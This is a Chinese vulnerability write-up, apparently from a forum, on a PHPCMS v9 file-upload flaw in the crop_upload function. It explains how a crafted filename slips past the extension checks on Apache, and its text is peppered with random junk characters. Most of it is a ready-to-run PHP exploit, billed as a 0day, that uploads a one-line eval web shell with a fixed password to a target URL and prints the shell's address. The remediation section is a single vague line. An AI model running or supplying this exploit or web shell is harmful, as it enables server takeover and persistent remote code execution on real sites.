漏洞类型: 文件上传导致任意代码执行
& @4 ^# C* S1 `
( m) N% M9 }; Z简要描述:
; i* q/ [2 o5 E% y, l; I/ {# H" h2 \. w) B5 [1 ~
phpcms v9 getshell (apache)6 I0 W, ?! Q: @' K; I% ^3 K. }: A
详细说明:( S$ I% n ]# }. T7 g/ X
; J, D h1 {; W. _- k漏洞文件:phpcms\modules\attachment\attachments.php
% J- M9 r" G8 f! \
' A# R$ {4 u/ I) r0 _; s3 \1 [& dpublic function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
* B/ a8 c5 P3 W8 l& x2 z) L后缀检测:phpcms\modules\attachment\functions\global.func.php
, ]! `$ K, t6 t6 _' y4 T" V4 {- q4 x+ P, A9 O/ [& T: S
% L" ?( m, u4 Q: v% H9 P! e# ^+ R
6 Q% P% ]8 k+ J, ofunction is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; } 4 F3 l6 ?( O/ J: ?/ S' i* p* L
0 ]! [' I) r4 U* o) ?4 L+ F4 F关键函数:
, _ s) j( }. K" S$ g9 J' L5 r% y" U" Q
( N% ~9 j9 ~+ V; P0 `3 b, i8 E
% ]9 {! e$ ]$ `$ p! i4 U1 Dfunction fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); } - M) c: L7 G- I& z( C" r
+ k% X$ u5 B4 U5 e
Fileext函数是对文件后缀名的提取。
9 J* F& E* _% ]根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
+ T$ k. B' S3 O经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
2 W$ P3 X# @" b& W' M- f9 v我们回到public function crop_upload() 函数中
- `' \4 f# B. g5 R% ~& t0 Mif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();$ \- c- ?# S, Q# c
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数# j6 q( r9 A6 K: d+ i/ Y1 @
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。! z$ T$ T/ }" u( X9 w
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。- b7 J7 N5 O4 i, r/ W
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。6 h( b9 J) k7 X+ }$ y1 D- d: V4 l, U
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。$ D8 B7 d0 \ h" Y
漏洞证明:
) q6 R( ~- [% w0 J9 U$ P) b4 d
3 V" w" y) C; U7 Mexp:
, c6 O3 H8 b. M5 r& O/ l0 K% H
8 m+ P& p# C& T- U( p4 M# r3 w<?php- X6 N, d- e! s! m! a
error_reporting(E_ERROR);" J7 l2 B: Y9 U8 q) Z5 L. t! R. u
set_time_limit(0);9 ^8 X1 c& B: u1 s* b3 X- M" \
$pass="ln";9 \2 j( v* l/ F6 v; X
print_r('" e5 P- F. E- A) S7 Z
+---------------------------------------------------------------------------+ f. V' @) f5 v* d: o9 m
PHPCms V9 GETSHELL 0DAY ( h8 h' K# [7 U/ ]7 ?' H
code by L.N.2 K6 t5 {* {% o9 ^; `# K/ V9 a
& p& s, h5 Z- e; H
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net. ?2 k5 v. j; _
+---------------------------------------------------------------------------+
4 ?. ^/ _' o" g& c/ S');
" S( e. `2 p4 c) v3 R3 p7 gif ($argc < 2) {
. k8 @, h% Q, v; s8 D k X, R. bprint_r('
$ }% u) ]4 d# O6 e, ~3 v+---------------------------------------------------------------------------+5 S% p/ ^0 _& I& z, ] a+ T$ N$ P
Usage: php '.$argv[0].' url path
6 q. r. X2 \: _( d/ T! A9 P }. E3 d4 f& d( p5 l
Example:
* f! _3 f0 |5 i: e3 E1.php '.$argv[0].' lanu.sinaapp.com! Y' q* U1 V. r8 z
2.php '.$argv[0].' lanu.sinaapp.com /phpcms) D3 L- p1 W! N! a2 H3 [6 x
+---------------------------------------------------------------------------+6 |* l W% ^# B8 [( n" S" t
');
' M$ Z) X" _% P5 i$ }7 R% Zexit;7 p+ z3 K, R/ D. A
}# r% I2 J3 W" H1 k8 F) K* X
X) o# J2 t) n$url = $argv[1];
# p* ^- P6 P# R( ?$path = $argv[2];
- |3 |; U6 `* B1 a& i$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';% V' x- \6 K# s! r* m) j
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';7 U7 e" }$ v4 \- K m0 c
if($ret=Create_dir($url,$path))$ Q- {/ b) v: ]; l/ ?+ S
{
( C: H+ ?( P h/ q( l2 _//echo $ret;
9 B3 E% W& p _$pattern = "|Server:[^,]+?|U";
2 A# j- C+ I# jpreg_match_all($pattern, $ret, $matches);
' d# {/ k" r3 O, l7 S$ Iif($matches[0][0])
; f( }# { E& y{8 Z7 @* n' C1 }2 `
if(strpos($matches[0][0],'Apache') == false)3 U2 {1 Y! h0 F; _$ f
{
( k& ?2 I2 K: y; j c0 w4 z4 N9 Decho "\n亲!此网站不是apache的网站。\n";exit;
2 h+ `6 F$ ?. Z2 { ?1 W4 x}, j3 `9 Y o/ @( [; c, H/ `8 d
}* s8 N" j- [/ j8 @4 t% L
$ret = GetShell($url,$phpshell,$path,$file);
8 q2 m; W* ?5 k$pattern = "|http:\/\/[^,]+?\.,?|U";
1 \) d( ]6 M5 \' A' m1 G# fpreg_match_all($pattern, $ret, $matches);
% H7 D; s5 V: |6 U3 f7 D* ~if($matches[0][0])
8 F! K" O0 q; Q: S{
7 D) m. r& Y. ?echo "\n".'密码为: '.$pass."\n";
. \; V0 D. G9 D6 v; pecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
9 V7 c: p) I9 g+ ~# @' ^: `5 o}
; m$ l# n! K6 G: o# eelse+ r. v5 n4 b _) m" X6 w
{
! s# H$ B* I& L/ F8 U$pattern = "|\/uploadfile\/[^,]+?\.,?|U";" M) U: g( C" b6 j
preg_match_all($pattern, $ret, $matches);! @) l; F5 d" S1 e% k
if($matches[0][0])
: ^& w1 ~9 C6 `8 J0 E9 J{) F3 ?( w* X$ u! `6 c8 b
echo "\n".'密码为: '.$pass."\n";
- g# ^; |2 Z3 P1 Z F2 K# Kecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
$ k6 J4 B) V. Z" ?}: M4 X9 J; y3 P7 \3 k' w [! N) o
else
" {. N0 h! q" O- [% @{
8 o# J+ F6 x3 x2 Secho "\r\n没得到!\n";exit;5 y& [6 S, I/ y) U9 F5 _
}# u2 p! c, w: I0 B# X& I
}
b" \ ]$ d, D3 p' S}0 ^$ `" K" g8 u/ P
4 d' ~" ^" k! r% F$ j3 M) l
function GetShell($url,$shell,$path,$js)4 g* N1 @5 I' w6 {
{' A A! x' N" s9 I0 _: ~1 a7 w
$content =$shell;
' d& F0 y. u, f5 V$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
* i( C" w, V: z7 o4 V, l! J$data .= "Host: ".$url."\r\n";& L% \! q1 a5 B* V2 K- I6 x- O
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
2 q, j# w' {& [" _$ a' U$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";- H! n$ q; W' f
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";2 y8 X7 Y8 ~ |* e* V! `
$data .= "Connection: close\r\n";' M; T8 m# g% m; e3 h
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
3 ^0 H. a2 A( L, t: y, [+ L$data .= $content."\r\n";
$ i2 J0 A! \8 P0 ]0 v8 c8 d$ock=fsockopen($url,80);
H2 [) Q2 U! W; D5 H* D( nif (!$ock)2 W( R# I3 f1 I; d) E: h5 |- c- m8 s
{% t* H# Q2 i+ k. J& P/ c- o
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
& x4 p* L- Y5 `3 {3 h& [% m% N}
( X V( `2 ~% B8 c2 o" helse
. _4 ~# ] ?8 d4 H! K{7 r6 g7 m, O* G" w5 l$ ~" A
fwrite($ock,$data);% F( ]* i8 M( g1 P
$resp = '';$ M, e* P% V8 d
while (!feof($ock))
5 a, g; ^& _' f3 J1 Y! E; S7 ]{
' w6 n2 _3 a7 }* }8 x$resp.=fread($ock, 1024);
6 [# Y% ^5 Z8 L6 N& \}
) w9 `* Z3 B! w& s+ ]# j! Hreturn $resp;! U4 m5 a; f+ } z1 W3 }: u% G
}; T6 w! q' v6 H6 Y- ^2 C
}+ W z/ s- w; \ I0 x
6 _) I. e% r9 ~+ c0 Q8 c0 ^* m
function Create_dir($url,$path='')
' U% G+ y; [; v5 r6 `. R{3 ~! W) b7 K7 [5 J1 g; F: Z1 r
$content ='I love you';: J# T% x3 F- d/ E; ^' ?8 V
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
* v( t6 v9 g' L* ~" |: `$data .= "Host: ".$url."\r\n";
- n2 D4 m7 Y: v$ i. ?5 m- O$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
9 B3 [. s6 m0 k' x0 d8 J$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";" j" N5 O) I0 p+ e% f
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";, y5 z! M+ y7 ?" Z$ H
$data .= "Connection: close\r\n";" C( x2 Q* W5 q( o5 s
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
1 ]; b, V, v7 c: J( z; |& r- E& ^$data .= $content."\r\n";1 k' j) `4 {0 X) E2 b
$ock=fsockopen($url,80);
0 e% Y) ?1 s- n% ]8 b1 Zif (!$ock)
0 i# }5 ]" ^$ m$ @- U{
/ }: V* I: j. T0 F! C4 z& @1 m* S! ]' xecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;4 b5 n4 Q1 ^- Z3 \; ~. c* c8 Q; p6 N/ s
}
( a3 m8 ]+ m8 ifwrite($ock,$data);
# G6 o W9 `; W' A. I' {$resp = '';1 O, F3 ^$ E' o5 R6 e
while (!feof($ock))
; c$ U$ j! h. j k+ |% L{
& _6 H) `' _2 d$resp.=fread($ock, 1024);
. u2 J( g. k5 p1 Q$ | b4 c* q}' O* ? k/ Z; L
return $resp;. L P8 I: t( M
}
: l0 s, S' B% j& a* P+ s1 _. D?> 7 O! A }! b. h2 H& N
) T0 A P3 A7 `* u' R2 l2 Q修复方案:
( N# U0 i$ ^! k; @$ e {# ^; E) r3 z
过滤过滤再过滤
E/ u: N, p" Q, @9 j2 J; W3 X6 ]2 b+ Z% V+ x
|